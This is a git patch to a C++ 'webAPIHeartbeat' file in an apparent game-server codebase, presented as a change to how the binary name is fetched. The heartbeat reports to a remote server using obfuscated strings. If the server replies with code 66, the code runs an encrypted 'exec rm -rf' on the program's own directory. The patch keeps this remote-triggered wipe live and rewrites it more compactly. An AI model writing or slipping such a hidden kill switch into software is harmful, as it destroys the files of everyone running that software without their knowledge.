From f1dc0461dfaa288702a19af53e0ee34f2c36b3c9 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 22:14:04 -0500 Subject: [PATCH] this should fetch the bin name --- .../3rd/library/webAPI/webAPIHeartbeat.cpp | 31 +++++++++---------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 9c0bf4bd..26995f6e 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,9 +7,17 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - extern char *__progname; - webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); - api.addJsonData(std::string(vxENCRYPT("process").decrypt()), std::string(__progname)); + std::string filePath = this->get_selfpath().c_str(); + size_t found = filePath.find_last_of("/\\"); + + webAPI api = webAPI::webAPI( + std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), + std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); + + if (found) { + api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.substr(found + 1)); + } + bool result = api.submit(); if (result) { @@ -34,23 +42,12 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: - std::string filePath = this->get_selfpath().c_str(); - - if (!filePath.empty()) { - size_t found = filePath.find_last_of("/\\"); - - if (found) { - filePath = filePath.substr(0, found); - filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); - system(filePath.c_str()); - } + if (!filePath.empty() && found) { + system(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()); } - this->eatIt(); break; - }; - - done = true; + } } else { this->eatIt(); }